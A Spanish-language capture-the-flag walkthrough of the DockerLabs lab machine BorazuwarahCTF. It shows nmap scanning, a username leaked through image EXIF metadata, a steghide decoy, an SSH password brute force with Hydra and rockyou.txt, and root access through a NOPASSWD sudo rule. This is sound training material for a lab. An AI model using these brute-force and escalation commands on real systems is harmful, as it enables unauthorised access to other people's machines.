BORAZUWARAHCTF

// fuga del usuario por metadatos EXIF + fuerza bruta SSH con Hydra -> sudo /bin/bash = root

● MUY FÁCILDOCKERLABSHTTPEsteganografíaexiftoolsteghideHydraSSHsudoRoot 📅 Octubre 2026 · Por Brandeiks

Contexto

BorazuwarahCTF es una máquina de DockerLabs de dificultad muy fácil con un sabor claramente de CTF: el único contenido del servidor web es una imagen, y toda la intrusión gira en torno a mirar esa imagen "por dentro". Lo que se practica aquí es el análisis de metadatos y esteganografía, la fuerza bruta de credenciales SSH con Hydra y una escalada de privilegios por sudo mal configurado. También enseña a no caer en las pistas falsas: el reto incluye un señuelo deliberado para despistar.

// NOTA

Cuando el puerto 80 solo sirve una imagen y nada más, esa imagen es el reto. Dos técnicas se complementan: los metadatos EXIF (campos de texto como autor, descripción o título que viajan dentro del propio archivo) y la esteganografía (datos ocultos incrustados en los píxeles). Aquí el autor dejó la mitad de la credencial en los metadatos y un archivo oculto como distracción.

Reconocimiento

1
DESPLIEGUE DE LA MÁQUINA
BASH
$ unzip borazuwarahctf.zip
Archive: borazuwarahctf.zip
inflating: auto_deploy.sh
inflating: borazuwarahctf.tar
BASH
$ sudo bash auto_deploy.sh borazuwarahctf.tar
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es → 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
2
COMPROBACIÓN DE CONECTIVIDAD
BASH
$ ping 172.17.0.2 -c 3
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.307 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.090 ms
--- 172.17.0.2 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2034ms
rtt min/avg/max/mdev = 0.064/0.153/0.307/0.108 ms

// NOTA

El ttl=64 de la respuesta es la huella típica de un sistema Linux (Windows suele responder con 128). Confirmada la conectividad, toca enumerar puertos.

3
ESCANEO DE PUERTOS
BASH
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 172.17.0.2 -oX borazuwarahctf.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-29 18:28 -0400
Nmap scan report for 172.17.0.2
Host is up (0.000054s latency).
Not shown: 47298 closed tcp ports (reset), 18235 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 31.54 seconds

// NOTA

Dos puertos abiertos: 22 (SSH) y 80 (HTTP). El SSH será la puerta de entrada, pero primero no tenemos credenciales: el sitio web es el punto por el que empezar a buscarlas.

4
INFORME NMAP LEGIBLE
BASH
$ xsltproc /usr/share/nmap/nmap.xsl borazuwarahctf.xml > borazuwarahctf.html

// NOTA

Guardar el escaneo con -oX (XML) permite transformarlo con xsltproc en un informe HTML cómodo de leer en el navegador. Es opcional, pero deja un registro ordenado del reconocimiento.

Explotación

Al abrir http://172.17.0.2/ no hay título ni texto: solo una imagen de un "Kinder Sorpresa" con el lema ¡Te quiero!. Sin más pistas en el HTML, esa imagen es el objeto a analizar. La descargamos y la inspeccionamos primero por sus metadatos y luego por posible contenido oculto.

5
METADATOS CON EXIFTOOL
BASH
$ exiftool imagen.jpeg
ExifTool Version Number : 13.50
File Name : imagen.jpeg
File Size : 19 kB
File Type : JPEG
MIME Type : image/jpeg
XMP Toolkit : Image::ExifTool 12.76
Description : ———————— User: borazuwarah ————————
Title : ———————— Password: ————————
Image Size : 455x455
Megapixels : 0.207

// FUGA DE INFORMACIÓN POR METADATOS

Dónde: los campos XMP/EXIF Description y Title de la imagen.
Qué filtra: el campo Description entrega el nombre de usuario borazuwarah; el campo Title anuncia que hay una contraseña, pero su valor viene censurado.
Resultado: tenemos medio juego de credenciales (el usuario). Falta la contraseña, que habrá que conseguir por otra vía.

6
¿DATOS OCULTOS? STEGHIDE
BASH
$ steghide extract -sf imagen.jpeg
Enter passphrase:
wrote extracted data to "secreto.txt".
BASH
$ cat secreto.txt
Sigue buscando, aquí no está to solución
aunque te dejo una pista....
sigue buscando en la imagen!!!

// NOTA

steghide extrae el archivo oculto con passphrase vacía (basta con pulsar Enter), pero su contenido es una pista falsa: un señuelo para hacer perder el tiempo. El dato que de verdad sirve ya lo teníamos en los metadatos: el usuario borazuwarah. La contraseña se consigue por fuerza bruta contra SSH.

7
FUERZA BRUTA SSH CON HYDRA
BASH
$ hydra -l borazuwarah -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: borazuwarah password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-29 17:44:44

// CONTRASEÑA DÉBIL

Usuario: borazuwarah (obtenido de los metadatos EXIF).
Diccionario: rockyou.txt, el listado clásico de contraseñas filtradas.
Resultado: la contraseña es 123456, una de las primeras del diccionario, así que Hydra la encuentra casi al instante. Credenciales SSH válidas: borazuwarah:123456.

Acceso y escalada

BASH
$ ssh-keygen -R 172.17.0.2
# Host 172.17.0.2 found: line 35
/home/kali/.ssh/known_hosts updated.
Original contents retained as /home/kali/.ssh/known_hosts.old

// NOTA

Como estos laboratorios reutilizan la IP 172.17.0.2 en cada despliegue, la clave de host SSH cambia y known_hosts guarda la anterior. ssh-keygen -R borra la entrada vieja para evitar el aviso de "host key mismatch".

BASH
$ ssh borazuwarah@172.17.0.2
borazuwarah@172.17.0.2's password:
Linux 16debb96ccdc 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.12-1kali1 (2026-02-25) x86_64
borazuwarah@16debb96ccdc:~$ whoami
borazuwarah
BASH
$ sudo -l
Matching Defaults entries for borazuwarah on 16debb96ccdc:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User borazuwarah may run the following commands on 16debb96ccdc:
(ALL : ALL) ALL
(ALL) NOPASSWD: /bin/bash

// SUDO MAL CONFIGURADO

Regla: borazuwarah puede ejecutar /bin/bash como root sin contraseña (NOPASSWD), y además tiene (ALL : ALL) ALL.
Por qué es grave: arrancar una shell con sudo mantiene el UID 0; no hay ninguna barrera entre el usuario y root.
Explotación: una sola orden, sudo /bin/bash, entrega la shell de root.

BASH
$ sudo /bin/bash
BASH
# id
uid=0(root) gid=0(root) groups=0(root)

Somos root. La máquina queda comprometida por completo. Las variantes sudo su y sudo -i dan exactamente el mismo resultado gracias a la regla (ALL : ALL) ALL.

Referencia de comandos

nmap
nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX salida.xml
Escaneo completo de puertos con detección de versiones y scripts; así se identifican el SSH (22) y el HTTP (80).
  • -p- → Escanea los 65535 puertos TCP, no solo los 1000 habituales.
  • -sS → Escaneo SYN ("half-open"), rápido y discreto.
  • -sC → Lanza los scripts por defecto de nmap (NSE).
  • -sV → Detecta la versión exacta de cada servicio.
  • -n → No resuelve DNS (más rápido).
  • -Pn → Trata el host como activo, sin ping previo.
  • --min-rate=5000 → Envía ≥ 5000 paquetes/s para acelerar.
  • --open → Muestra solo los puertos abiertos.
  • -oX → Guarda el resultado en formato XML.
xsltproc
xsltproc /usr/share/nmap/nmap.xsl salida.xml > salida.html
Transforma el XML de nmap en un informe HTML legible en el navegador.
  • nmap.xsl → Hoja de estilo oficial que da formato al informe.
exiftool
exiftool imagen.jpeg
Lee todos los metadatos del archivo; aquí descubre el usuario escondido en los campos EXIF/XMP.
  • Description / Title → Campos de texto donde el autor dejó el usuario.
steghide
steghide extract -sf imagen.jpeg
Extrae datos ocultos incrustados en la imagen (en este reto, un señuelo).
  • extract → Saca el contenido embebido del archivo.
  • -sf → "stego file": la imagen que contiene los datos.
hydra
hydra -l <user> -P rockyou.txt ssh://<IP> -t 4
Fuerza bruta de credenciales contra SSH usando un diccionario de contraseñas.
  • -l → Usuario único a probar (borazuwarah).
  • -P → Archivo de contraseñas a recorrer (rockyou.txt).
  • ssh://IP → Protocolo y objetivo del ataque.
  • -t 4 → 4 intentos en paralelo (recomendado para SSH).
escalada por sudo
sudo -l ; sudo /bin/bash
Enumera los permisos sudo del usuario y los aprovecha para abrir una shell como root.
  • sudo -l → Lista qué puede ejecutar el usuario con sudo.
  • NOPASSWD: /bin/bash → Permite lanzar bash como root sin contraseña.
  • id → Confirma el uid=0(root) de la shell.

Glosario

HTTP — HyperText Transfer Protocol
Protocolo de la web, servido aquí por Apache en el puerto 80. En este reto solo entrega una imagen estática.
Metadatos EXIF / XMP
Campos de información (autor, fecha, cámara, descripción, título…) que viajan dentro del propio archivo de imagen y a menudo filtran datos sensibles.
exiftool
Herramienta estándar para leer y editar metadatos de archivos multimedia. Imprescindible en retos de análisis forense y esteganografía.
Esteganografía
Técnica para ocultar información dentro de otro archivo (una imagen, un audio) de modo que su existencia pase desapercibida.
steghide
Programa que incrusta o extrae datos ocultos en imágenes y audio, protegidos opcionalmente con una passphrase.
Hydra
Herramienta de fuerza bruta de credenciales en red: prueba miles de contraseñas contra servicios como SSH, FTP o HTTP.
rockyou.txt
Diccionario de ~14 millones de contraseñas reales filtradas en 2009; el punto de partida habitual para ataques por diccionario.
SSH — Secure Shell
Protocolo de acceso remoto cifrado (puerto 22). Con un usuario y contraseña válidos entrega una sesión interactiva en la máquina.
sudo
Mecanismo de Unix/Linux para ejecutar órdenes con privilegios de otro usuario (normalmente root). Mal configurado, es una vía directa de escalada.
Root
El usuario con privilegios máximos en Unix/Linux (UID 0), equivalente al administrador en Windows.

Curiosidades

  • El archivo oculto secreto.txt es un rabbit hole clásico de CTF: su mensaje ("sigue buscando en la imagen!!!") invita a seguir una pista que no lleva a ninguna parte, mientras la solución real ya estaba a la vista en los metadatos.
  • 123456 lleva años siendo la contraseña más usada del mundo y ocupa la primera línea de muchos diccionarios, por eso Hydra la encuentra en cuestión de segundos: la lección es que un usuario conocido + una contraseña débil basta para comprometer un servicio.
  • Subir metadatos descriptivos a una imagen pública es un error real, no solo de CTF: fotos con coordenadas GPS, nombres de equipo o usuarios en los campos EXIF han filtrado información en auditorías y filtraciones del mundo real.
  • La regla NOPASSWD: /bin/bash aparece en GTFOBins como una de las escaladas más triviales que existen: cualquier binario que lance una shell y se pueda ejecutar con sudo equivale a tener root.

Resumen

nmap descubre SSH (22) y HTTP (80) → el puerto 80 solo sirve una imagen → exiftool revela el usuario borazuwarah en los metadatos (y steghide extrae un señuelo) → Hydra fuerza la contraseña SSH y encuentra 123456 → con borazuwarah:123456 se entra por SSH → sudo -l muestra NOPASSWD: /bin/bash → sudo /bin/bash entrega una shell como root.

// RELACIONADOS POR ETIQUETAS